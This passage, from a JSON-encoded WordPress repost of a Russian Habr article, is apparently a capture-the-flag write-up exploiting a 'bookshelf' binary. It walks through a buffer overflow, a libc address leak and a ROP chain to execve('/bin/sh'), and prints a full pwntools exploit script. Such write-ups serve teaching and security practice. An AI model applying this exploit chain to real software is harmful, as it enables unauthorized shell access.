\u043a\u0430\u043a\u0438\u0445-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0443\u043f\u0430\u043b\u0430! \u0417\u043d\u0430\u0447\u0438\u0442 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. \u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/p>\n<h4>\u041f\u0438\u0448\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/h4>\n<p>\u0412\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0432 IDA, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e 64 \u0441\u0438\u043c\u0432\u043e\u043b\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043c\u0435\u0440 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f &#8212; 56 \u0431\u0430\u0439\u0442\u043e\u0432, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.<\/p>\n<p>\u0420\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0430 \u0431\u0430\u0437\u0430 libc, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u0442\u0440\u043e\u043a\u0438, \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435  &#8212; <code>libc.so.6<\/code><\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b, \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432<\/p>\n<p><code>execve(\"\/bin\/sh\",0,0)<\/code><\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 J0llyTr0LLz \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u043d\u0430\u0436\u0430\u0432 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443 <code>F1<\/code><\/p>\n<figure class=\"full-width\"><\/figure>\n<ol>\n<li>\n<p><code>rax = 0x3b<\/code><\/p>\n<\/li>\n<li>\n<p><code>rdi = \/bin\/sh<\/code><\/p>\n<\/li>\n<li>\n<p><code>rsi = 0<\/code><\/p>\n<\/li>\n<li>\n<p><code>rdi = 0<\/code><\/p>\n<\/li>\n<\/ol>\n<p>\u041d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 4 \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u043f\u043e \u0442\u0438\u043f\u0443<\/p>\n<p><code>pop rax\/rdi\/rsi\/rdx <\/code><\/p>\n<p><code>ret <\/code><\/p>\n<p>\u0421\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 <code>\/bin\/sh<\/code> \u043f\u0440\u043e\u0431\u043b\u0435\u043c  \u043d\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043b\u044e\u0431\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libc \u044d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0443\u0436\u0435 \u0432\u0448\u0438\u0442\u0430. \u0421 <code>syscall<\/code> \u0442\u0430\u043a\u0430\u044f \u0436\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044f.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0431\u0440\u043e\u0441\u043a\u0438:<\/p>\n<p><code>SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)<br \/> BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)<br \/> POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)<br \/> POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)<br \/> POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)<br \/> POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c rop-\u0446\u0435\u043f\u043e\u0447\u043a\u0443<\/p>\n<p><code>payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n<p>\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435<\/p>\n<p><code>io.recvuntil(b'4) Check out')<br \/> io.sendline(b'3')<br \/> io.sendline(junk + payload)<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u043c \u0432\u0441\u0435 \u0448\u0430\u0433\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:<\/p>\n<p><code>from pwn import *<\/code><\/p>\n<p><code>exe = context.binary = ELF('.\/bookshelf')<\/code><\/p>\n<p><code>def start(argv=[], *a, **kw):<br \/> if args.GDB:<br \/> return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)<br \/> elif args.EDB:<br \/> return process(['edb','--run',exe.path] + argv, *a, **kw)<br \/> else:<br \/> return process([exe.path] + argv, *a, **kw)<\/code><\/p>\n<p><code>gdbscript = '''<br \/> tbreak main<br \/> continue<br \/> '''.format(**locals())<\/code><\/p>\n<p><code>def live_richy():<br \/> io.sendline(b'2')<br \/> io.sendline(b'2')<br \/> io.sendline(b'y')<\/code><\/p>\n<p><code>def leak_plt_puts_func():<br \/> tmp = str(io.recvuntil(b'rested'))<br \/> tmp = tmp[2:len(tmp)-1]<br \/> tmp = tmp.split(\"\\n\")[0].split(\" \")<br \/> ret_val = int(tmp[len(tmp)-2][2:],16)<br \/> return ret_val<\/code><\/p>\n<p><code>def get_admin():<br \/> junk = b'A'*40<br \/> io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')<br \/> io.sendline(b'1')<br \/> io.recvline()<br \/> io.sendline(b'y')<br \/> io.sendline(junk)<\/code><\/p>\n<p><code>def get_shell(LIBC_BASE):<br \/> SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)<br \/> BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)<br \/> POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)<br \/> POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)<br \/> POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)<br \/> POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)<br \/> junk = b'A' * 56<br \/> payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n<p>       <code>io.recvuntil(b'4) Check out')<br \/>       io.sendline(b'3')<br \/>       io.sendline(junk + payload)<\/code><\/p>\n<p><code>io = start()<\/code><\/p>\n<p><code>leak_plt_puts = 0<br \/> for i in range(8):<br \/> io.recvuntil(b'4) Check out')<br \/> live_richy()<\/code><\/p>\n<p><code>io.sendline(b'2')<br \/>io.sendline(b'3')<\/code><\/p>\n<p><code>leak_plt_puts = leak_plt_puts_func()<br \/>LIBC_BASE = leak_plt_puts - 0x000000000080ED0<br \/>log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))<br \/>log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))<br \/>io.sendline()<\/code><\/p>\n<p><code>get_admin()<br \/>get_shell(LIBC_BASE)<\/code><\/p>\n<p><code>io.interactive()<\/code><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b<\/p>\n<figure class=\"full-width\"><\/figure>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/765150\/\"> https:\/\/habr.com\/ru\/articles\/765150\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-356562","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/356562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=356562"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/356562\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=356562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=356562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=356562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}